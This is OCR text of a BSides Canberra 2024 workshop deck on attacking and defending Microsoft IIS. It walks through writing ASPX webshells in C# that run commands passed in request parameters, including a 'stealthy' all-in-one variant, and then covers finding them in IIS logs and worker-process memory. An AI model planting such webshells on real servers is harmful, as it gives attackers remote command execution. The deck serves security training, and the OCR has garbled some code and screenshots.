Attacking and Defending
Microsoft lIS

i

ZEROED.TECH

Presented by Adrian Justice (@zeroedtech)
at BSides Canberra 2024



Whoami

 Adrian Justice
e @zeroedtech
* Worked in IT for 15 years

* Incident responder turned threat
hunter

* Worked in infosec for 9 years

EEEEEEEEEEE



Why are we here?

* Develop Basic webshell * Detect Webshells

* Bypass basic detections * Reverse engineering

. Reflectively load .NET Webshells
assemblies * Analysing compilation

* Fileless code execution artifacts

* Analysing IIS memory



il Windows Features

Turn Windows features on or off

To turn a feature on, select its check box. To turn a feature off, clear its check
box. A filled box means that only part of the feature is turned on.

NET Framework 3.5 (includes .NET 2.0 and 3.0)
.NET Framework 4.8 Advanced Services
Active Directory Lightweight Directory Services
Containers
Data Center Bridging
Device Lockdown
Guarded Host
Hyper-V

+ D FTP Server

+ B Web Management Tools

+ B World Wide Web Services

()" Internet Information Services Hostable Web Care

# [ ] Legacy Components
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il Windows Features

Turn Windows features on or off

To turn a feature on, select its check box. To turn a feature off, clear its check
box. A filled box means that only part of the feature is turned on.

= B World Wide Web Services

-1 @ Application Development Features
.NET Extensibility 3.5
.NET Extensibility 4.8
Application Initialization
ASP
ASP.NET 3.5
ASP.NET 4.8
CaGl
ISAPI Extensions
ISAPI Filters
Server-Side Includes
WebSocket Protocol
+ B Common HTTP Features
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Setup - Windows Server

fiz; Add Roles and Features Wizard

Select one or more roles to install on the selected server.

Roles Description

O

Certificate Services

@

Web Server (lIS) provides a reliable

. mat eable
Domain Services NANAOEANE

I
(@)

application infras

o

Federation Services
Lightweight Directory Services

Rights Management Services

T
o o
o

&
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I
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o N

00X
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o

f 12 installed)

Network Policy and Access Service
Print and Document Services
Remote

Remote

Vo

Windows Deployment Services
Windows Server Update Services
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Setup - Windows Server

f=. Add Roles and Features Wizard

DESTINATION SERVER

Select role services WIN-2HIV6K0GA95

Before You Begin Select the role services to install for Web Server (IIS)

Installation Type Role services Description

4 Web Server Common HTTP Features supports

] ommon HTTP Feature basic HTTP functionality, such as
Health and Diagnostics delivering standard file formats and

Performance configuring custom server

Security properties. Use Common HTTP
Features to create custom error

Features

Web Server Role (I1S)

[
i
I
. 4 Application Development
[] .NET Extensibility 3.5 messages, to configure how the

server responds to requests that do
not specify a document, or to
automatically redirect some requests
to a different location.

Confirmation NET Extensibility 4.8
[T] Application Initialization
[] Asp
[] ASP.NET 3.5
ASP.NET 4.8
[] cal
ISAP| Extensions
ISAPI Filters
[T] Server Side Includes
[] WebSocket Protocol
4 [ | FTP Server
[] FTP Service
[] FTP Extensibility
4 Management Tools
1IS Management Console
» [] IS 6 Management Compatibility
[] ns Management Scripts and Tools
[ ] Management Service




Setup - Verification

. H‘\j Internet Information Services (I15) Manager

=
" - €3 » IISTRAINING »
| File View Help
Connections

[~ | IISTRAINING Home

> -85 ISTRAINING (lISTraining\Zero

Filter: - Go - \gg Show All
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X +

) > ThisPC > LocalDisk(C) > inetpub >

Setup - Permissions

* Webroot: C:\inetpub\wwwroot

M custerr

@) W M sort ~

View v

I history
M logs
M notused
M temp
M wwwroot
wwwroot Properties
General urily  Previous Versions tomize
name: netpubwwwroot

Ip Of user names:

To change permissions, 3 Edit

Permissions for Everyone Allow Deny
Full control
Modify
Read & e
List folder

nissions or advanced settings, Advanced




Microsoft IIS

* Powers around 8% of the public Internet

* Used internally by many organisations for email (Microsoft Exchange) and
COlla bO I’ation (Sha re PO| nt) ‘23 Internet Information Services (115) Ma

= P WIN-3BELGOKAK]

* Components

File View Help

e Servers .
onnections
* Application pools Q- R
* Sites E5.'*.-'3,t'-.tartF'agpr—.-
. . - WIN-3IBELGOKAKPS (WIN-3BELL
C Appllcatlons pplication Pools
e Virtual Directories 18 Srtes

v & Default Web Site

aspnet_client

* Application Pools D
* Determine the identity a web app runs under
e Controls the IIS worker process (w3wp.exe) of one or more webap
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Microsoft IIS — Application Pools

'r.'J Internet Information Services (I1S) Manager

< v ZEROED-PC » Application Pools @ oty @
Eile View Help

Connections - . . —
“,l' Application Pools 3

pe.
e EPCL'ZH This page lets you view and manage the list of application pools on the server. Application pools are associated with worker processes, contain one or more applications, and
| m: S'::;Ica Lttt provide isolation among different applications. Application Pool Tasks
Filter: - Go \y:11 Show All | Group by: No Grouping -
Name Status .NET CLR Version Managed Pipeline Mode Identity Applications ~
i £} NETV2.0 Started v2.0 Integrated ApplicationPoolldentity 0
: 2} .NETv2.0 Classic Started v2.0 Classic ApplicationPoolldentity 0 Edit Application Pool
£ NETv45 Started va.0 Integrated ApplicationPoolldentity 0 = £
=t NET v4.5 Classic Started va.0 Classic ApplicationPoolldentity 0 =
) Classic .NET AppPool Started v2.0 Classic ApplicationPoolldentity 0
+=) Default Started v4.0 Integrated ApplicationPoolldentity 0
! DefaultAppPool Started va.0 Integrated LocalSystem 1 ‘ X
=} 115 Training Stopped va.0 Integrated ApplicationPoolldentity 0
4=} Test Site Stopped va.0 Integrated ApplicationPoolldentity 0
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M icrosoft I I Advanced Settings

v (General)

| ¥4 Internet Information Services (IIS) Manager NET CLR Version v4.0
s )} » ZEROED-PC » Application Pools Enable 32-Bit Applications False i3 o e -
File View Help Managed Pipeline Mode Integrated
o ] Application Queue Length 1000 -
| 3 - | &
~ -9 ZEROED-PC (ZEROED-PC\Zef , Start Mode AlwaysRunning , . -
- — This page lets you view ang contain one or more applications, and
_ .-} Application Pools provide isolation among di v CPU Application Pool Tasks
8l Sites | Limit (percent) 0
- Filter: | \P = |
Name Limit Action NoAction Applications :
, (£ NETv2.0 Limit Interval (minutes) 5 Jaolidentity 0
' L2 NETv2.0 Classic Processor Affinity Enabled False ;ooudenm, 0 Edit Application Pool
e Processor Affinity Mask 4294967295 oclldentit ° -
L .NET v4.5 Classic e - , . P, Poolldentity 0 ecyclin
(2 Classic NET AppPool Processor Affinity Mask (64-bit ¢ 4284967295 boolldentity 0
-} Default v Process Model Joolldentity 0
| ! DefaultAppPool Generate Process Model Event L L | X
L@ IS Training dentity LocalS Poolldentity 0
&) Test Site entrty SGhysiom toolldentity 0
’ Idle Time-out (minutes) 200 (7]
|
Idle Time-out Action Terminate |
Name

nte | [name] The application pool name is the unique identifier for the
application pool.
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M icrosoft I I Advanced Settings

Executable
Executable Parameters

| 'r.'J Internet Information Services (I1S) Manager

&« ) » ZEROED-PC » Application Pools v Rapid-Fail Protection 3] @ -
Fle View Help "Service Unavailable” Response  HttplLevel
o Enabled False :
“'l' Application Failure Interval (minutes) 5
- h i ilures 5
w93 ZEROED-PC (ZEROED-PC\Zer Maximum Failures J ) )
- — This page lets you view ang contain one or more applications, and
. (o4 ?F:P"cat“’” Pools provide isolation among di Shutdown Executable Application Pool Tasks
e Filter: Shutdown Executable Paramete
i =]
Name hd Recychng Applications ,
, 2 NETV2.0 Disable Overlapped Recycle False Joolldentity 0
' ! NETv2.0 Classic Disable Recycling for Configurat False Yoolldentity 0 Edit Application Pool
3 45 | iy S
& NETv4S Generate Recycle Event Log Entr oolldentity 0 n
L .NET v4.5 Classic N e e " Yoolldentity 0 e
) Classic .NET AppPool Private Memcry Limit (KE) v Yoolldentity 0
) Default Regular Time Interval (minutes) 1740 Yoolldentity 0
(L DefaultAppPool Request Limit 0 1 %
=} 115 Training - . ‘oolldentity 0
(st Site Specific Times TimeSpan[] Array hoolidentity 0
} Virtual Memory Limit (KB) 0 (7]

Identity
nte | [identityType, username, password] Configures the application pool to run
as built-in account, i.e. Application Pool |dentity (recommended), Network
Service, Local System, Local Service, or as a specific user identity.
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IS file formats - ASPX

// Language definition

<%@ Page Language="C#" Debug="true" %>

// Imports

<%@ Import Namespace="System.Diagnostics" %>

// Code block

o\°

<

// Do interesting stuff

o\©
\Y

EEEEEEEEEEE



Webshells

What's the difference between DatabaseHealthChecker.exe and cmd.exe?

What's the difference between users.csv and passwords.txt?

The fundamental difference between a webscript and a webshell is
authorisation

* Your web server doesn't know the difference

Webshells typically include some form of input for control
* Parameters
* Headers
* Cookies
* Request body



Let's write a webshell!



CMD Shell

<%@ Page Language="C#" Debug="true" %>

<%@ Import Namespace="System.Diagnostics" %>

o°

o\

true;

Process process = new Process|();
process.StartInfo.FileName = "cmd";
process.StartInfo.Arguments = "/c whoami";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput =
process.StartInfo.RedirectStandardError =true;
process.Start () ;

string output = process.StandardOutput.ReadToEnd() ;

string error = process.StandardError.ReadToEnd () ;

process.WaitForExit () ;
Response.Write (output) ;

Response.Write (error) ;

Code

ZEROED.TECH


https://zeroed.tech/blog/bsides-2024-code/#cmd-shell

CMD Shell

Learn / .NET / APl browser / System.Web.Ul / c#E~ @ Z

Page Class

Reference & Feedback

In this article

Definition
Examples
Remarks

Constructors

Show 8 more

Definition
Namespace: System.Web.Ul
Assembly: System.Web.dll

Represents an .aspx file, also known as a Web Forms page, requested from a server that hosts
an ASP.NET Web application.

https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.page?view=netframework-4.8.1 DTECH



https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.page?view=netframework-4.8.1

A

o\

A

o°

o°

CMD Shell

Page Language="C#" Debug="true" %>

System.Diagnostics.Process process = new System.Diagnostics.Process() ;
process.StartInfo.FileName = "cmd";

process.StartInfo.Arguments = "/c whoami";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;

process.Start () ;

string output = process.StandardOutput.ReadToEnd() ;

string error = process.StandardError.ReadToEnd () ;

process.WaitForExit () ;
Response.Write (output) ;

Response.Write (error) ;

ZEROED.TECH



CMD Shell Test

* Save your shell to your webroot
* Default webroot is C:\inetpub\wwwroot\
* Browse to http://127.0.0.1/cmd.aspx

& C O O 127.00.1

nt authority'\system



http://127.0.0.1/cmd.aspx

Exercise
* Get a CMD shell working

* Experiment with different commands.
* Are there any readability issues?

e What are some enhancements we could add?



Enhancements - Parameters

- process.StartInfo.Arguments = "/c whoami";
+ process.StartInfo.Arguments = "/c "+Request.Params["cmd"]
« C O D 127001 @cmd w

Volume in drive C has no label. Volume Serial Number is F27C-ADB2 Directory of ¢c:\Windows\System32\inetsrv 10/07/2024 10:11 PM

. 06/08/2024 11:34 AM
.. 17/11/2023 03:05 PM 143,360 appcmd.exe 07/05/2022 03:20 PV 40 appcmd.xml 20/02/2023 08:43 PM 180,224 AppHostNavigators.dll 20/02/2023 08:43 PM 98,304 apphostsve.dll 17/
appobj.dll 20/06/2024 09:57 PM 32,323,584 ArgusAgent.dll 20/02/2023 08:43 PM 159,744 aspnetca.exe 17/11/20 :05 PM 69,632 authanon.dll 17/11/2023 03:05 PM 49,152 cachfile.dll 1
cachhttp.dll 17 023 03:05 PM 36,864 cachtokn.dll 17/11 :05 PM 36,864 cachuri.dll 20, 023 08:43 PM 81,920 compstat.dll 20/02/2023 08:48 PM
config 20/ 023 08:43 PM 73,728 custerr.dll 20/02/ 43 PM 45,056 defdoc.dll 20/02/2023 08:43 PM 49,152 dirlist.dll 20/02

en-US 20/02/ 43 PM 61,440 gzip.dll 2 023 08:43 PM 40,960 httpmib.dll 10/07/2024 08:59 PM 40,960 hwebcore.dll 20/02/2023 08:43 PM 63,105 iis.msc

Code

4

2023 03:05 PM 434,176
1/2023 03:05 PM 77,824

10/07/2024 08:59 PM 397,312 iiscore.dll 20/02/ : M 126,976 iisreg.dll 17/11/2023 03:05 PM 241,664 iisres.dll 20/02/2023 08:43 PM 57,344 iisrstas.exe 17/11/2023 03:05 PM 208,896 iissetup.exe

17/11/2023 03:05 PM 77,824 iissyspr.dll 17/11/2023 03:05 PM 327,680 iisutil.dll 20/02/2023 08:43 PM 638,976 iisw3adm.dll 20, 23 08:43 PM 147,456 InetMgr.exe 1
20/02/2023 08:43 PM 65,536 loghttp.dll 20/02/2023 08:43 PM 147,456 Microsoft. Web.Administration.dll 20/02/2023 08:43 PM 1,056,768 Microsoft. Web.Management.dll 20,

whbhstipm.dIl 20/02/2023 08:43 PM 53,248 wbhst_pm.dll 20/02/2023 08:43 PM 180,224 XPath.dll 52 File(s) 39,755,237 bytes 4 Dir(s) 83,035,693,056 bytes free

M 159,744 isapi.dl
:43 PM 69,632
modrqflt.dll 17, 023 03:05 PM 536,576 nativerd.dll 20/02/2023 08:43 PM 53,248 protsup.dll 17 05 PM 57,344 rsca.dll 17/11/2023 03:05 PM 77,824 rscaext.dll 20/02/2023 08:43 PM 65,536
static.dll 20/ { / PM 32,768 w3ctrlps.dll 20/02/2023 08:43 PM 53,248 w3ctrs.dll 10/07/2024 08:59 PM 143,360
w3dt.dll 20/02/2023 08:43 PM 114,688 w3logsve.dll 20/ 08:43 PM 49,152 w3tp.dll 2 08:43 PM 45,056 w3wp.exe 20/ 23 08:43 PM 102,400 w3wphost.dll 20/02/2023 08:43 PM 53,248

ZERLC
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https://zeroed.tech/blog/bsides-2024-code/#cmd-shell---parameters

Enhancements - Readabilitv

PS C:\Users\Zeroed> Invoke-WebRequest http://127.0.0.1/cmd.aspx?cmd=dir | select Content
Volume in drive C has no label.
Volume Serial Number is F27C-ADB2

Directory of c:\Windows\System32\inetsrv

10/07/2024 10:11 PM <DIR>
06/08/2024 11:34 AM <DIR>

17/11/2023 ©3:05 PM 143,360 appcmd.exe
07/05/2022 03:20 PM 3,940 appcmd.xml
20/602/2023 08:43 PM 180,224 AppHostNavigators.dll
20/02/2023 08:43 PM 98,304 apphostsvc.dll
17/11/2023 ©3:05 PM 434,176 appobj.dll
20/06/2024 09:57 PM 32,323,584 ArgusAgent.dll
20/02/2023 08:43 PM 159,744 aspnetca.exe
17/11/2023 03:05 PM 69,632 authanon.dll
17/11/2023 03:05 PM 49,152 cachfile.dll
17/11/2023 03:05 PM 77,824 cachhttp.dll
17/11/2023 03:05 PM 36,864 cachtokn.dll
17/11/2023 03:05 PM 36,864 cachuri.dll
20/02/2023 08:43 PM 81,920 compstat.dll
20/02/2023 08:48 PM <DIR> config
20/02/2023 08:43 PM 73,728 custerr.dll
20/02/2023 08:43 PM 45,056 defdoc.dll
20/602/2023 08:43 PM 49,152 dirlist.dll
20/02/2023 08:43 PM <DIR> en-US
20/02/2023 08:43 PM 98,304 filter.dll
20/02/2023 08:43 PM 61,440 gzip.dll
20/02/2023 08:43 PM 40,960 httpmib.dll
10/07/2024 08:59 PM 40,960 hwebcore.dll
20/02/2023 08:43 PM 63,105 iis.msc
10/07/2024 08:59 PM 397,312 iiscore.dll o ek

20/02/2023 08:43 PM 126,976 iisreg.dll



Code

Enhancements - Readability

&« C O D 127001
—I_ Response .Write ( "<pre>" ) ; Volume in drive C has no label.
Volume Serial Number is F27C-ADB2
Re Spon S e . Wr i te ( OU.tpU.t ) ; Directory of c:\Windows\System32\inetsrv
18/e7/2824 18:11 PM
Response.Write (error) ; 06/08/2074" 11:32
. " " 17/11/2623.-63:95 PM 143,360 appcmd.exe
+ Re Sponse .Write ( < /pre> ) ; 87/05/2022 03:20 PM 3,940 appcmd.xml
20/02/2023 88:43 PM 180,224 AppHostNavigators.dll

2e/e2/2023 08: PM 98,304 apphostsvc.dll
17/11/2023 83 PM 434,176 appobj.dll

20/06/2024 09:57 PM 32,323,584 ArgusAgent.dll

28/82/2023 : PM 159,744 aspnetca.exe
17/11/2023 3:85 PM 69,632 authanon.dll
17/11/2023 3:85 PM 49,152 cachfile.d1l
17/11/2023 85 PM 77,824 cachhttp.dll
17/11/2023 85 PM 36,864 cachtokn.dll
17/11/2023 3:@5 PM 36,864 cachuri.dll
20/02/2023 : PM 81,920 compstat.dll
20/02/2023 8: PM

con

=+

PM 73,728 custerr.dll
PM 45,056 defdoc.dll
PM 49,152 dirlist.dll
PM
en-Us
20/e2/2023 88:43 PM 98,3084 filter.dll
o /P - ) .

GR-A2 AAR o

20/82/2023
28/82/2023
28/82/2023
20/82/2023

]
=]

@
co

W W

= [ax]
0 [}
S A
o ]
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https://zeroed.tech/blog/bsides-2024-code/#cmd-shell---pre-formatting

Code

Enhancements - Readability

& 127.0.0.1
+ <%@ Import Namespace="System.Web" %> C 0D

Volume in drive C has no label.

S
<% Volume Serial Number is F27C-ADB2
st Directory of c:\Windows\System32\inetsrv
Response.Write ("<pre>"); 18/07/2024 :11 PM  <DIR>
. . . B6,/08/2624 H AM <DIR> -
2 Response Write (HttpUtlllty. HtmlEncode (Output) ) ; 17/11/20823 3:85 PM 143,360 appcmd.exe
. L 87/05/2822 3:20 PM 3,940 appcmd.xml
* Response.Write (HttpUtility.HtmlEncode (error)); 20/02/2023 08:43 PM 188,224 AppHostNavigators.dll
208/02/2023 : PM 98,304 apphostsvc.dll
Response.Write ("</pre>") ; 17/11/2023 ©3:85 PM 434,176 appobj.dll
20/06/2024 : PM 32,323,584 ArgusAgent.dll
o0 o 20/82/2623 : PM 159,744 aspnetca.exe
17/11/2623 3:05 PM 69,632 authanon.dll
$> 17/11/2023 03:05 PM 49,152 cachfile.dll

17/11/2823 25 PM 77,824 cachhttp.dll
17/11/2823 83:85 PM 36,864 cachtokn.dll
17/11/2823 3:85 PM 36,864 cachuri.dll
20/82/2623 43 PM 81,920 compstat.dll
20/82/2623 : PM config

20/02/2823
28/02/2823
20/02/2023
20/02/2023
20/02/2823
20/02/20823
20/02/2023

PM 73,728 custerr.dll
PM 45,056 defdoc.dll
PM 49,152 dirlist.dll
PM en-Us

PM 98,304 filter.dll
PM 61,448 gzip.dll

PM 40,968 httpmib.d1l1l

[wY)

Fo R
Wlwiwww

"
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https://zeroed.tech/blog/bsides-2024-code/#cmd-shell---encoding

Exercise

o Implement parameters
o Improve the readability of your shell



The All-In-One Shell

<%@ Page Language = "C#" Debug="true" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>

<%

var output = "";

var error = "";
switch (Request.Params["function"])

{

case "cmd":

{

Process process = new Process();

output += process.StandardOutput.ReadToEnd();
error += process.StandardError.ReadToEnd();
process.WaitForExit();

break;

}

Response.Write("<pre>");
Response.Write(HttpUtility.HtmlEncode(output));
Response.Write(HttpUtility.HtmlEncode(error));

Response.Write("</pre>");

Code


https://zeroed.tech/blog/bsides-2024-code/#all-in-one-shell---cmd

The All-In-One Shell

* Contains all the functionality needed without needing to shell out

& C O DO 127001

Volume in drive C has no label.
Volume Serial Number is F27C-ADB2

Directory of c:\Windows\System32\inetsrv

le/e7/2024 16:11 PM <DIR>

06/08/2024 11:34 AM <DIR> ..

17/11/2623 ©3:05 PM 143,360 appcmd.exe

e7/05/2022 ©3:20 PM 3,940 appcmd.xml

20/02/2023 ©8:43 PM 180,224 AppHostNavigators.dll
20/02/2023 ©8:43 PM 98,304 apphostsvc.dll

ZEROED.TECH



The All-In-One Shell - whoami S

<%@ Import Namespace="System.Security.Principal" %>

case "whoami": {
userName = WindowsIdentity.GetCurrent () .Name;
sid = WindowsIdentity.GetCurrent () .Owner.ToString() ;
output += "User: "t+userName+"\nSID: "+sid;

break;

« > C O D 127001

User: NT AUTHORITY\SYSTEM
SID: S-1-5-18

ZEROED.TECH
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The All-In-One Shell - dir ——

<%@ Import Namespace="System.IO" %>

case "dir":{
StringBuilder sb = new StringBuilder () ;

’

var targetPath = Request.Params["path"]
var formatString = "{0,-25}\t{1,-20}\t{2,-20}\t{3,-20}\t{4}1";
sb.AppendLine (string.Format (formatString, "Name", "Last Access Time", "Last Write Time", "Creation Time", "Size")):;

sb.AppendLine (" e

foreach (var path in Directory.GetDirectories (targetPath))
{
var directory = new DirectoryInfo (path);
sb.AppendLine (string.Format (formatString, directory.Name, directory.LastAccessTimeUtc, directory.LastWriteTimeUtc,
directory.CreationTimeUtc, "")):;

}

foreach (var path in Directory.GetFiles (targetPath))
{
var file = new FilelInfo (path);
sb.AppendLine (string.Format (formatString, file.Name, file.LastAccessTimeUtc, file.LastWriteTimeUtc, file.CreationTimeUtc, file.Length));
}
output += sb.ToString();
break;


https://zeroed.tech/blog/bsides-2024-code/#all-in-one-shell---dir

$GetCurrent
$Recycle.Bin
$WINDOWS . ~BT
$Windows . ~WS
$WinREAgent

AMD

android
Config.Msi
Documents and Settings
ESD

inetpub

libs

msys64

PerflLogs

Program Files
Program Files (x86)
ProgramData
Recovery
Ruby32-x64

src

System Volume Information
temp

Users

Windows

XboxGames
ysoserial.net
.GamingRoot
appverifUI.dll
DumpStack.log
DumpStack.log.tmp
hiberfil.sys
pagefile.sys
swapfile.sys
vfcompat.dll
viewstate.txt

QO D 127.001

Last Access Time

6/08/2024
6/08/2024
6/08/2024
6/08/2024
6/08/2024
6/08/2024
6/08/2024 128:29
7/08/2024 :37:08
7/05/2822 5:09:36 PM
6/88/2024 10:28:29 AM
7/088/2024 9:55:56 PM
6/88/2024 10:28:29 AM
6/08/2024 10:28:29 AM
7/08/2024 9:15:36 PM
7/88/2024 9:54:12 PM
7/088/2024 9:49:42 PM
7/88/2024 9:16:85 PM

EEEEEEREEX

1le/e7/2024 10:57:24 AM

6/08/2024 10:28:29 AM
6/88/2024 10:28:29 AM
7/088/2024 9:00:31 PM
6/88/2024 10:28:30 AM
7/88/2024 9:55:52 PM
7/08/2024 9:55:56 PM
7/88/2024 9:04:39 PM
6/88/2024 10:28:30 AM
7/08/2024

7/88/2024 7:14:
29/08/2023 1:08:40 AM
4/88/2024 6:19:
4/88/2024 6:19:
4/88/2024 6:19:
4/88/2024 6:19:
14/07/2024 1:0
11/@3/2024 9:3

The All- In One Shell - dir

Last Write Time

20/82/2023 11:84:67 AM

7/65/2022 8:15:893 PM

27/63/2824 10:42:52 PM

25/83/2024 6:21:18 AM

1e/e7/2024 10:57:23 AM

4/88/2024 6:19:21 AM
18/62/2824 2:57:16 AM
7/08/2024 10:37:08 AM
7/85/2022 5:09:36 PM
25/83/2024 7:00:46 AM
7/06/2024 11:52:2@ PM
3/67/2024 5:58:35 AM
30/06/2024 7:15:42 AM
7/85/2022 5:24:50 AM
13/@7/2024 7: B? 1
6/08/2024 1@:2
2/06/2024 12:0
14/07/20823 3:0
27/08/2023 1:3
14/05/2822 12.92.
7/08/2024 9:00:18
2/12/2022 5:59:31
16/07/2024 6:16:55
20/07/2024 3:09:25
12/89/2023 4:01:08
21/87/2023 4:54:18
12/12/20822 6:03:23
21/62/2024 3:33:48
26/08/2023 3:42:26
4/88/2824 6:19:23 AM
4/88/2824 6:19:21 AM
4/88/2824 6:19:21 AM
4/88/2024 6:19:23 AM
21/02/2024 3:34:14 PM
11/83/2824 9:33:28 AM

Creation Time

20/02/2023 10:26:6 AM
5/86/2021 12:10:48 PM
27/03/2024 10:42:49 PM
25/@3/2024 6:21:10 AM
18/07/2024 10:55:52 AM
13/01/2023 6:06:42 AM
18/02/2824 2:57:1@ AM
6/08/2024 18:17:47 AM
7/65/2022 5:09:36 PM
25/03/2024 4:44:31 AM
20/02/2023 10:43:44 AM
19/12/2823 4:45:16 AM
11/85/2822 12:49:53 PM
7/@5/2022 5:24:50 AM
7/85/2022 5 5 AM
7/85/2022 5:24:50 AM
7/85/2022 5 50 AM
7/85/2022 5:09:37 PM
27/08/2023 1:31:44 AM
7/85/2022 9:39:54 PM
7/85/2022 5:07:57 PM
2/12/2022 5 31 AM
7/85/2022 5 22 AM
7/@5/2022 5:17:22 AM
12/12/2022 6:03:23
21/07/2023 4:54:17
12/12/2822 6:03:23
21/02/2024 3:33:48 PM
7/@5/2022 5:07:59 PM
7/85/2022 5 59 PM
7/85/2022 5 31 PM
7/85/2022 5 57 PM
7/85/2022 5:07:59 PM
21/02/2024 3:34:14 PM
9/83/2024 11:02:08 PM

AM
AM
AM

28

112136
12288

12288
13635358720
27917287424
16777216
66328

21
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The All-In-One Shell

* Much more stealthy than a CMD shell

* Provides more control over data output

 EXERCISE

* Implement and test whoami and dir
* Tryimplementing a file reader



Investigating a basic webshell



The webshell order of volatility

Forensic Order of Volatility

Registers and Cache
RAM (Memory)
Temporary File Systems
Disk Storage

Backups

Webshell Order of Volatility

Snapshot
Process memory
Temporary compilation artifacts

Files in web roots
 DFRS

Logs
Backups



Investigation - Logs

e C:\inetpub\logs\LogFiles\

#software: Microsoft Internet Information Services 10.0

#Version: 1.0

#Date: 2024-08-08 10:38:34

#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port c-ip cs-version cs(User-Agent) cs(Referer) cs-host sc-status sc-substatus sc-win32-status sc-bytes cs-bytes time-taken ScriptName ApplicationPoolPhysicalPath
2024-08-08 10:38:29 W3SVC1 127.9.0.1 GET /omd.aspx function=cmd&cmd=dir 80 127.0.0.1 HTTP/1.1 Mozilla/S.0+(Windows+NT+10.0;+Win64;+x64;4rv:128.0)+Gecko/20100101+Firefox/128.0 - 127.0.0.1 200 0 @ 3397 518 2632 /cmd.aspx C:\inetpub\wwwroot\
2024-08-08 10: 2 W3SVC1 127.0.0.1 GET /cmd.aspx functions=cmd&cmd=whoami 80 127.0.0.1 HTTP/1.1 Mozilla/S.0+(Windows+NT+10.0;+Win64;+x64;4rv:128.0)+6ecko/20100101+Firefox/128.0 - 127.0.0.1 200 @ @ 251 521 77 /cmd.aspx C:\inetpub\wwwroot\
2024-08-08 10: 7 W3SVC1 127.0.0.1 GET /cmd.aspx function=cmd&cmd=calc 80 127.0.0.1 HTTP/1.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:128.0)+Gecko/20100101+Firefox/128.0 - 127.0.0.1 200 @ © 230 519 103 /cmd.aspx C:\inetpub\wwwroot)\
2024-98-08 21:55:56 W3SVC1 127.0.0.1 GET /cmd.aspx function=dir&path=C:\ 80 127.0.0.1 HTTP/1.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;4rv:128.0)+Gecko/20100101+Firefox/128.0 - 127.0.0.1 200 @ 0 3755 519 116 /cmd.aspx C:\inetpub\wwwroot\

FILE: cmd.aspx
PATH: C:\inetpub\wwwroot

ZEROED.TECH



Investigation - Webshell Compilation Artifacts

%% Refresh & Options | #§ Find handles or DLLs
Processes Services Network Disk

Name PD  CPU
| (@] w3wpexe 55216 002

System information

1/0 total r..
344 kB/s

Private by.. User name

General Statistics Performance Threads Token Modules Memory Environment Handles NET assemblies .NET performance GPU

Structure
v CIR v4.0.30319.0
AppDomain: Defaultbomain
 AppDomain: /LM/W3SVC/1/ROOT-1-133676270949886091
App_Web_ohhf1qk0
App_Web_tcs3bbng
A_aSeScbe9_S8c3_4f1d_as30_1a7a251c9502
 AppDomain: SharedDomain
Microsoft.Build. Utlties.v4.0
Microsoft.CSharp
Microsoft.JScript
Microsoft.VisualStud
mscorlib
System
ystem.Activities
System.ComponentModel.DataAnnotations
System. Configuration
System.Core
System.Data
System.Data.DataSetExtensions
System.Data.Services.Design
System.Design
System.Drawing
System.EnterpriseServices
System.IdentityModel
System.Runtime.Caching
System.Runtime. Serialization
System.ServiceModel
System.ServiceModel. Activation
System. ServiceModel. Activities
System.ServiceModel.Web
System.Web
/eb.ApplicationServices

D Flags

25 CONCURRENT_GC,
Default, Executable
Executable

Dynamic
Shared
Domaintieutral, Native
Domaintieutral
Domainieutral
Domaintieutral
Domaintieutral, Native
Domainieutral, Native
Domainieutral
Domainhieutral, Native
Domainhieutral, Native
Domainhieutral, Native
Domainhieutral, Native
Domaintieutral
Domainieutral
Domainieutral, Native
DomainNieutral, Native
Domainieutral, Native
Domaintieutral
Domaintieutral, Native
Domaintieutral, Native
Domainieutral, Native
Domaintieutral
Domaintieutral
Domaintieutral
Domaintieutral, Native
DomainNeutral, Native
Domainhieutral
Domaintieutral
Domaintieutral
Domainhieutral
Domainhieutral, Native
DomainNeutral, Native
Domaintieutral
Domaintieutral, Native
Domainhieutral, Native
Domainhieutral, Native

eb.Pagelnspector.Loader

/eb.RegularExpressions
. Web.Services

System.WorkflowServices

System.Xaml

System.Xml

System.Xml.Ling

169.02 MB NT AUTHORITY\SYSTEM

w3wp

Command line
c\windows\system32\inetsn
I

Description Elevation
1IS Worker Process N/A

Integrity
System

Disk and Netw

Path

C:\Windows\Microsoft. NET\Framework64\4.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\App_Web_ohhf1qko.dil
C:\Windows\Microsoft. NET\Framework64\w.0.30319\Temporary ASP.NET Files\root\e22c2559\92c7e946\App_Web_tcs3bbng.dil
A_aSeScbed_58c3_4f1d_a530_1a7a251c950a

Microsoft. Net\assembly\GAC_MSIL\Microsoft.Build. Utilties.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft. Build. Utilt
sembly\GAC_MSIL\Microsoft. CSharp\v4.0_4.0.0.0_b03f5f7f11d50a3a\Microsoft.CSharp.dil
\WINDOWS \Microsoft.Net\assembly\GAC_MSIL\Microsoft.Script\v4.0_10.0.0.0_b03fSf7f11d50a3a\Microsoft JScript.dil
\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft. VisualStudio.Web.PageInspector.Loader\v.0_1.0.0.0_b03f5f7f11d50a3a\Microsoft.VisualStudio. Web. Pageln
WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\vd.0_4.0.0.0__b77a5¢561934e089\mscorlib.dil
\WINDOWS \Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0_b77a5c561934e089\System.dil
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System .0_4.0.0.0_31bf38563d364e35\System. Activities.dil
\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.ComponentModel. DataAnnotations\v4.0_4.0.0.0_31bf38562d364€35\System.ComponentModel. DataAnnotation
icrosoft. Net\assembly\GAC_MSIL\System. Configuration\v4.0_4.0.0.0__b03fSf7f11d50a3a\System.Configuration.dil
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5¢561934¢089\System.Core.dil
